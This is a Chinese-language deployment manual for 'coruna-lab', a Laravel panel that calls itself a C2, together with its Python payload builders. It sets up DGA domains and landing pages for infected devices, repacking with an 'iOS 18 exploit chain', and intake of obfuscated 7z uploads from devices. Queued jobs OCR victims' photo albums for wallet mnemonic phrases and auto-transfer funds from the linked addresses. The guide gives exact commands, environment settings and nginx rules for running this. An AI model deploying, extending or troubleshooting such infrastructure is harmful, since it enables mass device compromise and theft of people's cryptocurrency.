# 宝塔部署指南(coruna-lab + channel-builder + channel-builder-new) 同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。 | 构建器 | 路径 | 渠道 ID | 产物 | | ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- | | 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web//` + 共享 `public/sync/` | | 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel//`;共享模板 `public/details/` | 新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**(32-hex)** 作为全站共享 DGA seed(deployment === reporting)。 ## 架构 | 角色 | 项目 / 路径 | 对外 | 进程 | | --------------- | -------------------------------- | --------------------------- | --------------- | | C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | | 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | | 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv | ```text 设备 / 运营 │ ├─ Admin / C2 ──► coruna-lab/public (Laravel) │ │ │ ├─ Process ──► channel-builder │ │ → public/web|sync │ │ → state: storage/app/channel-builder │ │ │ └─ Process ──► channel-builder-new │ → public/details/(共享模板) │ → public/channel//(每渠道独占) │ → state: storage/app/channel-builder-new │ ├─ 旧静态:/web//… /sync/… ├─ 新静态:/channel//… /details/… ├─ 新别名:/c//show.htm → Nginx 静态 → channel//details/show.html └─ DGA 域名反代到同一 public/(须带同一套落地页 location) ``` 建议目录: ```text /www/wwwroot/coruna-lab/ ``` 防火墙只放行 80/443。 --- ## 0. 服务器准备 软件商店安装: - Nginxphp artisan migrate - MySQL 8.0 - PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换) - Python 3.10+(系统或面板) - Composer(建议 ≥ 2.2,见下文排错) PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp** 系统包:`p7zip-full`(或等价)、`git` ### PHP 多版本 宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。 CLI 请显式使用对应二进制,例如: ```bash /www/server/php/82/bin/php -v /www/server/php/82/bin/php artisan migrate ``` 扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。 ### PHP 运行参数(FPM / 网站) 路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`) 建议: ```ini upload_max_filesize = 64M post_max_size = 64M max_execution_time = 600 max_input_time = 600 ``` - `post_max_size` ≥ `upload_max_filesize` - Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600) - CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准 Nginx 站点配置建议同时加大: ```nginx client_max_body_size 64m; ``` 禁用函数:Composer / Laravel 需要 `putenv`;C2 解包和 **Trust UTC 解密(python scrypt)** 需要 `proc_open`。从 PHP「禁用函数」中移除 `putenv`、`proc_open`。系统 `python3` 自带 `hashlib.scrypt` 即可,不必另装 `pycryptodome`(有 builder venv 则优先用 venv)。 --- ## 1. 部署两套 channel-builder(随 coruna-lab) 两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。 ### 1.1 旧版 `channel-builder` ```bash cd /www/wwwroot/coruna-lab/channel-builder python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt ``` 产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。 ### 1.2 新版 `channel-builder-new`(xxbb / weifile) ```bash cd /www/wwwroot/coruna-lab/channel-builder-new python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt ``` 依赖与旧版相同(`pycryptodome`、`py7zr`)。 产物与状态: | 路径 | 作用 | | ---------------------------------- | ------------------------------------------------------ | | `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) | | `public/channel//` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) | | `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) | 创建新版渠道时 Laravel 会: 1. 用 `.env` 的 `XXBB_CHANNEL_C` 跑 `tools/build.py --apply --force`(**不会** random) 2. 再跑 `tools/pack_channel.py` 打进 `public/channel//` 因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。 ### 1.3 权限与静态路径(Admin 站点 Nginx) ```bash # PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state chown -R www:www \ /www/wwwroot/coruna-lab/public \ /www/wwwroot/coruna-lab/storage ``` 产物默认落在 **Laravel** `public/`,与 Admin 同站即可: ```text # 旧版 https://admin.example.com/web/<32-hex>/support.html https://admin.example.com/sync/daily.html # 新版 https://admin.example.com/channel//weifile/weifile.html https://admin.example.com/channel//details/ https://admin.example.com/details/… # 共享模板(native 按需拉) https://admin.example.com/c//show.htm # Nginx 静态别名 → channel//details/show.html ``` 在 **Admin 站和所有反代到同一** `public/` **的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c//show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。 `root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。 ```nginx # —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 —— # 禁止下载应用日志(即使 public/log 里还留着旧文件) location ^~ /log/ { deny all; return 404; } location ~ "^/web/[0-9a-f]{32}/" { try_files $uri =404; add_header Cache-Control "public, max-age=300"; } location /sync/ { try_files $uri =404; add_header Cache-Control "public, max-age=60"; } # 新版:每渠道独占树(ver 形如 A.B.C1) location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" { try_files $uri =404; add_header Cache-Control "public, max-age=300"; } # 新版共享 details 模板 location /details/ { try_files $uri =404; add_header Cache-Control "public, max-age=300"; } # 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm) # 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" { alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html; types { } default_type application/octet-stream; add_header Cache-Control "public, max-age=60"; add_header Content-Type "application/octet-stream" always; } ``` 保存后: ```bash nginx -t && nginx -s reload ``` 用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`): ```bash curl -sI https://你的投放域名/c/0.0.01/show.htm ``` 应同时满足: - HTTP 200 - `Content-Type: application/octet-stream` - **没有** `X-Powered-By: PHP` - `Cache-Control` 含 `max-age=60` 若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。 `lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。 **首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。 ### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要) 新版创建渠道前 `.env` 必须有共享 `c`。任选其一: ```bash cd /www/wwwroot/coruna-lab # 推荐:随机生成并写出共享产物 /www/server/php/82/bin/php artisan xxbb:build --random-c # 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后: /www/server/php/82/bin/php artisan config:clear # 或指定已有 c: /www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex> ``` 等价手动: ```bash cd /www/wwwroot/coruna-lab/channel-builder-new .venv/bin/python tools/build.py --random-c --apply --force # 或 --channel-c <32-hex> ``` 注意: - 部署后域名由 `c` 决定,**不要随意改** `XXBB_CHANNEL_C`,否则设备 DGA 与线上不一致 - 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c` - 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值 - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild - 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/` - 已有旧版渠道要吃上 support.html 路由 / `index.js`:`php artisan coruna:repack`(可先 `--dry-run`;也可指定 32-hex)。渠道 ID 不变,DGA seed 取自 `CORUNA_CHANNEL_SEED`,只覆盖 `public/web/{id}/` --- ## 2. 部署 coruna-lab ### 2.1 站点 新建站点(如 `admin.example.com`): - 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`) - PHP:8.2+ - 伪静态:Laravel ```nginx location / { try_files $uri $uri/ /index.php?$query_string; } ``` ### 2.2 Composer 需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。 ```bash # 若 /usr/bin/composer 过旧,安装新版本: curl -sS https://getcomposer.org/installer \ | /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer /www/server/php/82/bin/php /usr/local/bin/composer -V cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader composer self-update composer install --no-dev --optimize-autoloader ``` 常见错误见文末「排错」。 ### 2.3 环境与数据库 ```bash cp .env.example .env # 编辑 .env(见下节) /www/server/php/82/bin/php artisan key:generate # 仅首次;已有数据后不要再执行 chown -R www:www storage bootstrap/cache chmod -R ug+rwx storage bootstrap/cache # 宝塔创建 MySQL 库/用户后: /www/server/php/82/bin/php artisan migrate --seed ``` 默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。 ### 2.4 `.env` 要点 ```dotenv APP_ENV=production APP_DEBUG=false APP_URL=https://admin.example.com DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=coruna DB_USERNAME=... DB_PASSWORD=... ADMIN_USERNAME=admin ADMIN_PASSWORD=改成强密码 # Session(HTTPS 单域名后台;DOMAIN 保持 null) SESSION_DRIVER=file SESSION_LIFETIME=120 SESSION_ENCRYPT=false SESSION_PATH=/ SESSION_DOMAIN=null SESSION_SECURE_COOKIE=true SESSION_SAME_SITE=lax # 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6) # CACHE_STORE=redis # QUEUE_CONNECTION=redis # REDIS_HOST=127.0.0.1 # REDIS_PORT=6379 CACHE_STORE=file QUEUE_CONNECTION=sync # 内嵌两套 builder(无 Build API;产物默认 public/) CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python # CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public # CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder # CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new CORUNA_CHANNEL_BUILDER_TIMEOUT=600 # 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。 # 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear XXBB_CHANNEL_C= # 旧版 channel-builder 共享 DGA seed(32 hex)。必填才能后台创建 / coruna:repack 旧版渠道。 # 已有环境:从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。 CORUNA_CHANNEL_SEED= # iptj PageVisit 与新版设备按 IP 关联窗口(分钟) XXBB_VISIT_MATCH_MINUTES=30 # 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准) CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com CORUNA_REPORTING_DOMAINS= # C2 上报 7z 解包(与 build_api 无关,仍需配置) CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= # 可选;设置后注册 webhook 时会带 secret_token TELEGRAM_WEBHOOK_SECRET= # 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example) ``` 改 `.env` 后(**登录 / Session 依赖这一步**): ```bash cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan config:clear chown -R www:www storage/framework/sessions chmod -R ug+rwx storage/framework/sessions # 生产可再: # /www/server/php/82/bin/php artisan config:cache # /www/server/php/82/bin/php artisan route:cache # /www/server/php/82/bin/php artisan view:cache ``` 浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。 ### 2.5 新版 builder 就绪(有新版渠道时) 在 `composer install` / `migrate` 之后、后台建新版渠道之前: 1. 已按 **§1.2** 装好 `channel-builder-new/.venv` 2. 按 **§1.4** 生成并写入 `XXBB_CHANNEL_C` 3. 确认: ```bash /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")' /www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details ls -la /www/wwwroot/coruna-lab/public/details ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile ``` 未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时,后台创建 / `coruna:repack` 旧版渠道会直接报错。 ### 2.6 抗压(Redis / 队列 / PHP-FPM) 落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。 1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。 2. PHP 8.2 安装 `redis` 扩展。 3. `.env`: ```dotenv CACHE_STORE=redis QUEUE_CONNECTION=redis REDIS_HOST=127.0.0.1 REDIS_PORT=6379 ``` 1. 改完后: ```bash cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan migrate /www/server/php/82/bin/php artisan config:clear ``` 1. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发): ```text 名称: coruna-queue 启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 只跑轻量任务(RecordPageHit / ScanDeviceNotes)。相册解压、Telegram、自动转账已拆到独立队列。 名称: coruna-telegram 启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=0 --tries=3 --timeout=30 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 延迟敏感的 Telegram 通知,独立队列,不会被相册/统计挤住。 名称: coruna-transfer 启动命令: /www/server/php/82/bin/php artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 自动/手动归集转账。--timeout=200 覆盖 AutoTransferAddress 的 $timeout=180。 名称: coruna-extract 启动命令: /www/server/php/82/bin/php artisan queue:work extract --sleep=1 --tries=1 --timeout=200 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 相册 7z 解压(量大、IO 重)。OCR 子任务由 MnemonicScanService 进一步 dispatch 到 ocr 队列,不在这里跑。 名称: coruna-keystore 启动命令: /www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 ``` 相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核): ```text 名称: coruna-ocr 启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100 启动目录: /www/wwwroot/coruna-lab 进程数量: 3 ``` 机器上需安装 `tesseract` 及 `tesseract-ocr-eng`(助记词只跑英文)。`QUEUE_CONNECTION` 必须是 `redis`。4 核机器 OCR worker 用 2~3 个,不要和 `coruna-queue` 抢满 CPU。 > 切换 `QUEUE_CONNECTION` 后必须 `php artisan config:cache` 再 `php artisan queue:restart`,否则旧 worker 进程仍按启动时缓存的连接配置跑(曾导致 OCR 在 worker 内同步执行、ocr 队列空转)。 1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议: ```ini pm = dynamic pm.max_children = 24 pm.start_servers = 4 pm.min_spare_servers = 2 pm.max_spare_servers = 8 pm.max_requests = 500 ``` `max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。 1. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。 ### 2.7 p7zip(C2 入库) `CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。 Debian / Ubuntu(宝塔常见): 若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用: ```bash mv /etc/apt/sources.list.d/gitlab-ce.list \ /etc/apt/sources.list.d/gitlab-ce.list.disabled apt update apt install -y p7zip-full command -v 7z ``` 拷到项目(规避 `open_basedir`): ```bash cd /www/wwwroot/coruna-lab mkdir -p bin cp "$(command -v 7z)" bin/7z chmod +x bin/7z ``` `command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。 ### 2.8 Telegram Webhook(上线必做) Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径: ```text https:///hooks/telegram ``` 1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串) 2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径) 3. 确保站点已上 SSL,Telegram 能访问该 URL 4. 注册 webhook: ```bash cd /www/wwwroot/coruna-lab # 使用 APP_URL + /hooks/telegram /www/server/php/82/bin/php artisan telegram:set-webhook # 或显式指定: /www/server/php/82/bin/php artisan telegram:set-webhook \ 'https://admin.example.com/hooks/telegram' ``` 成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。 更换域名或 token 后需重新执行本命令。 #### Bot 指令无响应 / `getWebhookInfo` 报 500 1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`: ```bash tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log ``` 1. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`): ```bash ls -la /www/wwwroot/coruna-lab/storage/logs/ # 宝塔常见: tail -n 80 /www/wwwlogs/yxouw.cc.error.log tail -n 80 /www/server/php/82/var/log/php-fpm.log ``` 1. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新: ```bash /www/server/php/82/bin/php artisan telegram:set-webhook ``` 1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。 --- ## 3. 联调检查清单 1. 旧版:`channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常 2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C` 3. Admin 登录 `https://admin.example.com/admin/login` 4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web//support.html` 与 `/sync/daily.html` 5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel//weifile/weifile.html`;`/details/` 可访问;`/c//show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`) 6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露 7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`) 8. `telegram:set-webhook` 成功;Bot 能收到指令 --- ## 4. 日常运维 | 动作 | 命令 / 操作 | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | | 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | | 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` | | 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | | 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` | | 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | | 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 | | 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) | `QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。每分钟调度会跑 `coruna:link-mnemonics`(关联/推出可归集地址)和 `coruna:auto-transfer`;每 15 分钟 / 每天 00:10 跑 `coruna:daily-stats` 汇总每日报表。真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。 --- ## 5. 排错摘要 ### `mkdir(): Permission denied` at `Helpers.php` / `storage/logs` C2 / 转账日志写在 **Web 根外** `storage/logs/{c2,xxbb,transfer,ds}/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `storage` 无写权限时会报错。 ```bash cd /www/wwwroot/coruna-lab mkdir -p storage/logs/c2 storage/logs/xxbb storage/logs/transfer chown -R www:www storage bootstrap/cache chmod -R ug+rwx storage bootstrap/cache # 线上若还留着可下载的旧文件,删掉并在 Nginx 加上 location ^~ /log/ { deny all; } rm -rf public/log ``` 同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。 ### Composer:`putenv()` undefined PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 ### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2` `/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。 **不要**用 `composer update`「修」这个问题——lock 本身通常没问题。 ### Composer:缺少 `ext-gmp` 软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认: ```bash /www/server/php/82/bin/php -m | grep -i gmp ``` ### 后台构建失败:`Tips from BT security !!!` / `Killed` / `import py7zr` `www` 跑 Python 被 **堡塔防入侵** 杀掉(系统加固还会把 `python3.10` / `*.so` 执行位扒掉)。PHP-FPM 建渠道也是 `www`,所以后台会同样失败。 1. 软件商店 → **堡塔防入侵** → 打开 `www` 的拦截记录,把下面路径加白(从拦截日志里复制「命令路径」,不要自己猜): ```text /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python /www/wwwroot/coruna-lab/channel-builder/.venv/bin/python /usr/bin/python3.10 /usr/bin/python3 ``` 1. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。 2. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`: ```bash sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")' ``` 临时关掉防入侵能立刻验证是不是它在杀进程;验证完再开,靠白名单维持。不要用绕过手段躲拦截。 ### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C` 按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 ### 后台新建「旧版」渠道失败:`请先在 .env 配置 CORUNA_CHANNEL_SEED` 把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`,再 `config:clear`。新环境可生成一份 32-hex 后写入(改 seed 会换 DGA 域名)。 ### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python` `.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。 处理(任选,建议 1+2): 1. `.env` 显式写上 Python(跳过探测;`proc_open` 执行软链通常仍可用): ```dotenv CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python ``` ```bash /www/server/php/82/bin/php artisan config:clear ``` 1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。 2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。 自检: ```bash ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python # 常见:… -> /usr/bin/python3.10 ``` ### Nginx:`unknown directive "32}/(web|sync)/"` location 正则未加引号,`{32}` 被当成配置块。改为: ```nginx location ~ "^/web/[0-9a-f]{32}/" { ``` 新版 `/channel/` 正则同理,花括号必须放在引号内。 ### `apt` 因 gitlab-ce 源 404 失败 ```bash mv /etc/apt/sources.list.d/gitlab-ce.list \ /etc/apt/sources.list.d/gitlab-ce.list.disabled apt update ``` ### `cp "$(command -v 7z)"` 报 `cannot stat ''` 未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。 ### CLI `max_execution_time => 0` CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 ### 后台登录 HTTP 444 **444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin`、`/user` 放行后再试。 ### 后台登录方式(改造后) - 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect - 失败限流:同一账号+IP 约 5 次 / 60 秒 - 可选 Google Authenticator:登录后「系统 → 谷歌验证」绑定 - 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip) ### 后台登录 HTTP 419(Page Expired) 请求已进 Laravel,多为 CSRF / Session。确认: 1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null` 2. 执行: ```bash cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan config:clear chown -R www:www storage/framework/sessions chmod -R ug+rwx storage/framework/sessions ``` 1. 浏览器清除该站 cookie 后重试 裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。 ---